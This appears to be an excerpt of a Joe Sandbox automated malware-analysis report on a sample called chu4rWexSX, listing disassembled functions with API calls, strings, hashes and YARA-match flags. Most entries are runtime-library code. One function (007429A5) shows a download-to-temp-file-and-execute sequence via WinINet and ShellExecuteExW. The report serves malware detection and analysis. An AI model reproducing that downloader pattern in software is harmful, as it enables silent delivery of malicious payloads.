Opcode ID: 8293ae290cfb80a2986bd63d1347c45f5c2b10de45a1b2626e0279f449987c41
Instruction ID: 6fe88e5104516f0d0abc5297c84c3c03fe5c06696699df0eeb385e29b92d925e
Opcode Fuzzy Hash: 8293ae290cfb80a2986bd63d1347c45f5c2b10de45a1b2626e0279f449987c41
Instruction Fuzzy Hash: 37318D71604205DBDB38AA39D842B5B77E9FF08324F50A51FE8A8C7252DB79AC40D628

Function 00436739 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00436781
_free.LIBCMT ref: 004367A5
_free.LIBCMT ref: 004367B2
_free.LIBCMT ref: 004367D7
_free.LIBCMT ref: 004367E4
_free.LIBCMT ref: 004367ED
_free.LIBCMT ref: 00436ACB
_free.LIBCMT ref: 00436AD3

Strings

0bE, xrefs: 00436767, 00436A50

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free
String ID: 0bE
API String ID: 269201875-2320990392
Opcode ID: 4305420aca44bf50ed34a27767065c2bc928970926cebd0ed00ebe7d3f1468a6
Instruction ID: 079a1378443376bda9fc4260b50951273a95715a64b1383f8eece2b75ce94bc1
Opcode Fuzzy Hash: 4305420aca44bf50ed34a27767065c2bc928970926cebd0ed00ebe7d3f1468a6
Instruction Fuzzy Hash: E4C14272D40209BBDB20DFA8CC46FEE77F8AB09705F15916AFA04FB282D6749A418754

Function 0076B5C9 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0076B639
_free.LIBCMT ref: 0076B64F
_free.LIBCMT ref: 0076B660
_free.LIBCMT ref: 0076B671
_free.LIBCMT ref: 0076B688
GetCPInfo.KERNEL32(?,?), ref: 0076B6D0

Part of subcall function 00773602: _free.LIBCMT ref: 0077366D

_free.LIBCMT ref: 0076B87C
_free.LIBCMT ref: 0076B88F
_free.LIBCMT ref: 0076B89D
_free.LIBCMT ref: 0076B8A8
_free.LIBCMT ref: 0076B8EA
_free.LIBCMT ref: 0076B8F2
_free.LIBCMT ref: 0076B8FA
_free.LIBCMT ref: 0076B902
_free.LIBCMT ref: 0076B910

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 0db594b7b41d9c7bf51f059540b4456830210cd63f1aec4f0b87f28bcc79aeac
Instruction ID: 4bc69bdca7c29de6b0b507a3fdcac2e8e2a7a9f0ff75e491297c12e998f64c54
Opcode Fuzzy Hash: 0db594b7b41d9c7bf51f059540b4456830210cd63f1aec4f0b87f28bcc79aeac
Instruction Fuzzy Hash: 6FB17071D00205DFDF119FA9C885BEEBBB9BF09300F14416DE99AE7242D779A841DBA0

Function 0042B362 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042B3D2
_free.LIBCMT ref: 0042B3E8
_free.LIBCMT ref: 0042B3F9
_free.LIBCMT ref: 0042B40A
_free.LIBCMT ref: 0042B421
GetCPInfo.KERNEL32(?,?), ref: 0042B469

Part of subcall function 0043339B: _free.LIBCMT ref: 00433406

_free.LIBCMT ref: 0042B615
_free.LIBCMT ref: 0042B628
_free.LIBCMT ref: 0042B636
_free.LIBCMT ref: 0042B641
_free.LIBCMT ref: 0042B683
_free.LIBCMT ref: 0042B68B
_free.LIBCMT ref: 0042B693
_free.LIBCMT ref: 0042B69B
_free.LIBCMT ref: 0042B6A9

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 23f939fd5aaaa0718d2f29aab6f0ed802ba52939fa36369444c15a02cef3fc0b
Instruction ID: 4c1ed0dc83508eed8dd5cba2edfe27c0d7c3a1e993973e525b668e3952f8602b
Opcode Fuzzy Hash: 23f939fd5aaaa0718d2f29aab6f0ed802ba52939fa36369444c15a02cef3fc0b
Instruction Fuzzy Hash: D5B1BF71A00219AFDB15DF69C881BEEBBF4FF08304F54452EF495A7342D73A98458BA8

Function 007429A5 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 134filenetworksynchronizationCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0044EE38,00000000,00000000,00000000,00000000), ref: 007429C8
InternetOpenUrlW.WININET(00000000,004596F8,00000000,00000000,00000000,00000000), ref: 007429DE
GetTempPathW.KERNEL32(00000105,?), ref: 007429FA
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 00742A10
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00742A49
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00742A85
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00742AA2
ShellExecuteExW.SHELL32(?), ref: 00742B19
WaitForSingleObject.KERNEL32(?,00008000), ref: 00742B2E

Strings

<, xrefs: 00742AF6

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: File$Internet$OpenTemp$CreateExecuteNameObjectPathReadShellSingleWaitWrite
String ID: <
API String ID: 838076374-4251816714
Opcode ID: a7735749eb299b5d0685d7147467c8c5bffc6c3f2c6ffb6c8d0f77e69bd77991
Instruction ID: fcbce56b8e3298f9ff73984aec0190a17b4d1b551f56359a5e5b5b923639a522
Opcode Fuzzy Hash: a7735749eb299b5d0685d7147467c8c5bffc6c3f2c6ffb6c8d0f77e69bd77991
Instruction Fuzzy Hash: E94142B194021CAEEB219B649C85FEA77BCFF04344F4080B5B649A2151DF749E958FA4

Function 0075BB62 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(advapi32.dll,00000000,00000800,00456064,00000000,?,?,00000000,0043E73B,000000FF,?,0075BEC8,00000004,00754A27,00000004,00754D09), ref: 0075BB99
GetLastError.KERNEL32(?,0075BEC8,00000004,00754A27,00000004,00754D09,?,00755439,?,00000008,00754CAD,00000000,?,?,00000000,?), ref: 0075BBA5
LoadLibraryW.KERNEL32(advapi32.dll,?,0075BEC8,00000004,00754A27,00000004,00754D09,?,00755439,?,00000008,00754CAD,00000000,?,?,00000000), ref: 0075BBB5
GetProcAddress.KERNEL32(00000000,004443F8), ref: 0075BBCB
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BBE1
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BBF8
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BC0F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BC26
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BC3D

Strings

advapi32.dll, xrefs: 0075BB93, 0075BB98, 0075BBB4

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ErrorLast
String ID: advapi32.dll
API String ID: 2340687224-4050573280
Opcode ID: 2617766161acadced67e2f7134030dff7adf7a79f76e76eb144288a3bf09a14e
Instruction ID: 01c55813f4582dbb44f25cd3a3c34c19182dcf138033716cf2f8a6289f4aa169
Opcode Fuzzy Hash: 2617766161acadced67e2f7134030dff7adf7a79f76e76eb144288a3bf09a14e
Instruction Fuzzy Hash: D52159B5901650EBD7006FB89C0DF5ABBE8EF09711F11892AF641D3651CBBD8810CBA9

Function 0075BB65 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(advapi32.dll,00000000,00000800,00456064,00000000,?,?,00000000,0043E73B,000000FF,?,0075BEC8,00000004,00754A27,00000004,00754D09), ref: 0075BB99
GetLastError.KERNEL32(?,0075BEC8,00000004,00754A27,00000004,00754D09,?,00755439,?,00000008,00754CAD,00000000,?,?,00000000,?), ref: 0075BBA5
LoadLibraryW.KERNEL32(advapi32.dll,?,0075BEC8,00000004,00754A27,00000004,00754D09,?,00755439,?,00000008,00754CAD,00000000,?,?,00000000), ref: 0075BBB5
GetProcAddress.KERNEL32(00000000,004443F8), ref: 0075BBCB
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BBE1
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BBF8
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BC0F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BC26
GetProcAddress.KERNEL32(00000000,00000000), ref: 0075BC3D

Strings

advapi32.dll, xrefs: 0075BB93, 0075BB98, 0075BBB4

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ErrorLast
String ID: advapi32.dll
API String ID: 2340687224-4050573280
Opcode ID: 7585205b535eb8b6198813c6b3ae3d7cc1eadf0adff1ec97b14ed099f7cf6e97
Instruction ID: 549070ff90a0135ba7c66a754060442561b67301cf51c202bd60ed17dc40d93c
Opcode Fuzzy Hash: 7585205b535eb8b6198813c6b3ae3d7cc1eadf0adff1ec97b14ed099f7cf6e97
Instruction Fuzzy Hash: 572187B5901750ABD7006FA89C09F1ABBECEF09711F11892AF641D3651CBBD9810CBA8

Function 0074F147 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 63libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,007533AB), ref: 0074F156
GetProcAddress.KERNEL32(00000000,00443CA4), ref: 0074F164
GetProcAddress.KERNEL32(00000000,00443CBC), ref: 0074F172
GetModuleHandleW.KERNEL32(kernel32.dll,00443CD4,?,?,?,007533AB), ref: 0074F1A0
GetProcAddress.KERNEL32(00000000), ref: 0074F1A7
GetLastError.KERNEL32(?,?,?,007533AB), ref: 0074F1C2
GetLastError.KERNEL32(?,?,?,007533AB), ref: 0074F1CE
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F1E4
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F1F2

Strings

kernel32.dll, xrefs: 0074F150, 0074F155, 0074F19A

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorHandleLastModule$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID: kernel32.dll
API String ID: 4179531150-1793498882
Opcode ID: ad12a3b5cce6c166a177557bfeb8ed2e4eb31a639a05941a5d0595d1f33ed6e6
Instruction ID: 260133b3614cf3eab33917c3873c44d0a4ac86ad46d6c7c6b1924b415a44f0dd
Opcode Fuzzy Hash: ad12a3b5cce6c166a177557bfeb8ed2e4eb31a639a05941a5d0595d1f33ed6e6
Instruction Fuzzy Hash: 3E11C876601314ABE3107B74ED4DB6B76ACE901751720043BFA01E3162EF7DC810C7A8

Function 00776DC5 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00776E34
_free.LIBCMT ref: 00776E42
_free.LIBCMT ref: 00776F70
_free.LIBCMT ref: 00776F7B

Strings

4bE, xrefs: 00776FCC
0bE, xrefs: 00776DF0, 00776FB5

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free
String ID: 0bE$4bE
API String ID: 269201875-3178220123
Opcode ID: f3d14510a37663b5d01637637511f3786aa1a17f823c6023892415c7a8535dc1
Instruction ID: f921c56c00099bb646506ab595f1c16bbd9cd69cbf0acbf3c9a6260fcd8fbd51
Opcode Fuzzy Hash: f3d14510a37663b5d01637637511f3786aa1a17f823c6023892415c7a8535dc1
Instruction Fuzzy Hash: 5361D471E00605EFDF20DF68D842B9ABBF5EF05750F1481AAE858EB285E774AD418B90

Function 00436B5E Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00436BCD
_free.LIBCMT ref: 00436BDB
_free.LIBCMT ref: 00436D09
_free.LIBCMT ref: 00436D14

Strings

0bE, xrefs: 00436B89, 00436D4E
4bE, xrefs: 00436D65

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free
String ID: 0bE$4bE
API String ID: 269201875-3178220123
Opcode ID: 1f7a5bc554f8cff06f338544c4b0e431754dbbbe1f3ac1e917737578bf29886e
Instruction ID: 6aed72b63ab7eade11c1b350da30a8bf7d8c7915740c006cfbdae768d958fa7c
Opcode Fuzzy Hash: 1f7a5bc554f8cff06f338544c4b0e431754dbbbe1f3ac1e917737578bf29886e
Instruction Fuzzy Hash: FB61C571A00206AFDB20DF69C842B9EBBF5EF08310F15956BEC54EB342D7749D418B58

Function 004214ED Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00421506

Part of subcall function 004217D5: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,00421239), ref: 004217E5

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 0042151B
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042152A
__CxxThrowException@8.LIBVCRUNTIME ref: 00421538
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 004215AE
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004215EE
__CxxThrowException@8.LIBVCRUNTIME ref: 004215FC

Strings

switchState, xrefs: 00421522
pContext, xrefs: 004215E6

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID: pContext$switchState
API String ID: 3151764488-2660820399
Opcode ID: fed439a0ad055502321c917910015f78feee3c52ead7e8314af063bccc78410d
Instruction ID: b9fa9ae2d6482eb35b7c98c4fc90de834a109f40a74bf145f139506a489ca961
Opcode Fuzzy Hash: fed439a0ad055502321c917910015f78feee3c52ead7e8314af063bccc78410d
Instruction Fuzzy Hash: 0E31FB35B00224ABCF05EF65D481A6E7375BFA4354F6044ABE912A7392DB78DD01C798

Function 004163E6 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00416408
GetCurrentProcess.KERNEL32(000000FF,00000000), ref: 00416412
DuplicateHandle.KERNEL32(00000000), ref: 00416419
SafeRWList.LIBCONCRT ref: 00416438

Part of subcall function 00414407: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00414418
Part of subcall function 00414407: List.LIBCMT ref: 00414422

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041644A
GetLastError.KERNEL32 ref: 00416459
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041646F
__CxxThrowException@8.LIBVCRUNTIME ref: 0041647D

Strings

eventObject, xrefs: 00416442

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorException@8HandleLastLock::_ReaderSafeThrowWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1999291547-1680012138
Opcode ID: 1d588e424c5e3a4dec9f5e0e629a8defebaa69f13a2bd2988e1f9552c986b2aa
Instruction ID: 618c2de97634232152c93c993c416d7ad0c384cbbc7b7574bc873865a8829aa6
Opcode Fuzzy Hash: 1d588e424c5e3a4dec9f5e0e629a8defebaa69f13a2bd2988e1f9552c986b2aa
Instruction Fuzzy Hash: FF11AC75500204EADB20EBA4DD4AFEE73BCAB01305F20813BB506E20D2DB78DA55CB6D

Function 0075D8C6 Relevance: 15.1, APIs: 10, Instructions: 136threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0075D8D6
Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0075D93D
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0075D95A
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0075D9C0
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0075D9D5
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0075D9E7
Concurrency::details::InternalContextBase::SwitchTo.LIBCONCRT ref: 0075DA15
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0075DA20
__CxxThrowException@8.LIBVCRUNTIME ref: 0075DA4C
Concurrency::details::WorkItem::TransferReferences.LIBCONCRT ref: 0075DA5C

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::ContextInternal$Work$ChoreCurrentThread$AssociatedCompletionCreateException@8ExecuteExecutedFoundInlineItem::ListReferencesSwitchThrowTransferWait
String ID:
API String ID: 3720063390-0
Opcode ID: 043c77c0ca6a65c921d7cfc47ace299df91409a91b7b974d9946b61208d3d82c
Instruction ID: 8fc94e92019aa430b9663a5eeba667ece5e1da98eadb7a6f4b1c231dedaa3bad
Opcode Fuzzy Hash: 043c77c0ca6a65c921d7cfc47ace299df91409a91b7b974d9946b61208d3d82c
Instruction Fuzzy Hash: 0F419070A04244DBCF35FFA484597ED7761AF41312F1480A9EC4A6B283DBAD5E0EC7A6

Function 0076ECFD Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0076ED11

Part of subcall function 00770381: HeapFree.KERNEL32(00000000,00000000,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?), ref: 00770397
Part of subcall function 00770381: GetLastError.KERNEL32(?,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?,?), ref: 007703A9

_free.LIBCMT ref: 0076ED1D
_free.LIBCMT ref: 0076ED28
_free.LIBCMT ref: 0076ED33
_free.LIBCMT ref: 0076ED3E
_free.LIBCMT ref: 0076ED49
_free.LIBCMT ref: 0076ED54
_free.LIBCMT ref: 0076ED5F
_free.LIBCMT ref: 0076ED6A
_free.LIBCMT ref: 0076ED78

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c188182dd200e0a3be51801a4e00a5c192b8a843550c9ac7fd66606b708d124c
Instruction ID: d4f7d1e50d2df25e44a7c350680df018ea8f13e61e1a1fd0ffc11af6c61ff97b
Opcode Fuzzy Hash: c188182dd200e0a3be51801a4e00a5c192b8a843550c9ac7fd66606b708d124c
Instruction Fuzzy Hash: A21174B6900108FFCF01EF55C846CDD3BA9EF14390B5180A9BE098B262DA75DA509BE0

Function 0042EA96 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042EAAA

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 0042EAB6
_free.LIBCMT ref: 0042EAC1
_free.LIBCMT ref: 0042EACC
_free.LIBCMT ref: 0042EAD7
_free.LIBCMT ref: 0042EAE2
_free.LIBCMT ref: 0042EAED
_free.LIBCMT ref: 0042EAF8
_free.LIBCMT ref: 0042EB03
_free.LIBCMT ref: 0042EB11

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c188182dd200e0a3be51801a4e00a5c192b8a843550c9ac7fd66606b708d124c
Instruction ID: 28cf91e5b57671f8b7b4216668ff0a0ab135574872f853874d6e2f7e08cd52dc
Opcode Fuzzy Hash: c188182dd200e0a3be51801a4e00a5c192b8a843550c9ac7fd66606b708d124c
Instruction Fuzzy Hash: 7011967610010CAFCF09EF56DC62CD93F75EF08354F8191AAFA188B222DA36DA519B84

Function 0076DDD9 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

_memcmp.LIBVCRUNTIME ref: 0076E083
_free.LIBCMT ref: 0076E0F4
_free.LIBCMT ref: 0076E10D
_free.LIBCMT ref: 0076E13F
_free.LIBCMT ref: 0076E148
_free.LIBCMT ref: 0076E154

Strings

hcE, xrefs: 0076E122
C, xrefs: 0076DF41

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_memcmp
String ID: C$hcE
API String ID: 4275183328-4169398798
Opcode ID: 87b75584963aba0a4db2ac7e0b452a9fe4dca1ce50c12d63af804a641ba64c79
Instruction ID: 2f94d3b2f00133f971223db61ecff90ac766035ffbc22757cfd61104bbfbe7b2
Opcode Fuzzy Hash: 87b75584963aba0a4db2ac7e0b452a9fe4dca1ce50c12d63af804a641ba64c79
Instruction Fuzzy Hash: 63B13975A01219DFDB24DF18C888AADB7B4FF58704F2445EAE80AA7350D775AE90CF50

Function 0043BB52 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,0043CE3F), ref: 0043BB75

Strings

log, xrefs: 0043BC1B, 0043BC27
log10, xrefs: 0043BBBF, 0043BC0F
sqrt, xrefs: 0043BCF9
asin, xrefs: 0043BCE1
acos, xrefs: 0043BCED
exp, xrefs: 0043BC3A, 0043BC9C
pow, xrefs: 0043BC59, 0043BD05, 0043BD18

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 0adaf178b2f8baef1ef9d47019069ec0f012fbbd305f2574d5af6c1c46a526dc
Instruction ID: bea74866d74deab0cdc4885bdcc29de8a31bf81aed39cb9c1e790138308eeba6
Opcode Fuzzy Hash: 0adaf178b2f8baef1ef9d47019069ec0f012fbbd305f2574d5af6c1c46a526dc
Instruction Fuzzy Hash: B051AC70900609CBCF10DF68E9486ADBBB4FF4D310F21A19BD651A7268CB798D25CB9D

Function 0076FE40 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ff32d8218493f7a5bcde68123cc9f496a245cd57dba89026967887533b332b0
Instruction ID: d0ab08829bf3d15dce7704d3f111614d310cfc42480c90c83ddab937b461b830
Opcode Fuzzy Hash: 4ff32d8218493f7a5bcde68123cc9f496a245cd57dba89026967887533b332b0
Instruction Fuzzy Hash: ACC1D274E04349EFDF11DFA8D845BADBBB0AF0A350F548198E949A7392C7389D41CBA0

Function 0042DB72 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

_memcmp.LIBVCRUNTIME ref: 0042DE1C
_free.LIBCMT ref: 0042DE8D
_free.LIBCMT ref: 0042DEA6
_free.LIBCMT ref: 0042DED8
_free.LIBCMT ref: 0042DEE1
_free.LIBCMT ref: 0042DEED

Strings

C, xrefs: 0042DCDA

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$ErrorLast$_memcmp
String ID: C
API String ID: 4275183328-1037565863
Opcode ID: db1bd63b2c84a7c637bfdf2d38bbac00542a4e3d7f867a5deab3efdfefee4c48
Instruction ID: 12d1b58aad58e84b65b836d743c8c885c5c790c3a324f39abf8d2d94205739ab
Opcode Fuzzy Hash: db1bd63b2c84a7c637bfdf2d38bbac00542a4e3d7f867a5deab3efdfefee4c48
Instruction Fuzzy Hash: E3B13975E016299FDB24DF18D884BAAB7B4FF48304F9045AAE849A7350D735AE90CF48

Function 0042596D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 004259C0
FindMITargetTypeInstance.LIBVCRUNTIME ref: 004259D9
FindVITargetTypeInstance.LIBVCRUNTIME ref: 004259E0
PMDtoOffset.LIBCMT ref: 004259FF

Strings

Bad dynamic_cast!, xrefs: 00425A41

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: d3d1996f6954923c1f1bb22cc960d0a30c34ef9eeb07fa6df52ebed15539a515
Instruction ID: 8a681966897e11e55cd42f16e0f929370727fb0fcfbb1a48e6122e740baf05d9
Opcode Fuzzy Hash: d3d1996f6954923c1f1bb22cc960d0a30c34ef9eeb07fa6df52ebed15539a515
Instruction Fuzzy Hash: DA2129B2700A25DFCF14DFA5E946AAE7764EB44734B50421FF80493281D738ED418699

Function 007494A1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 007494B2
int.LIBCPMT ref: 007494C9

Part of subcall function 00749074: std::_Lockit::_Lockit.LIBCPMT ref: 00749085
Part of subcall function 00749074: std::_Lockit::~_Lockit.LIBCPMT ref: 0074909F

std::locale::_Getfacet.LIBCPMT ref: 007494D2
std::_Facet_Register.LIBCPMT ref: 00749503
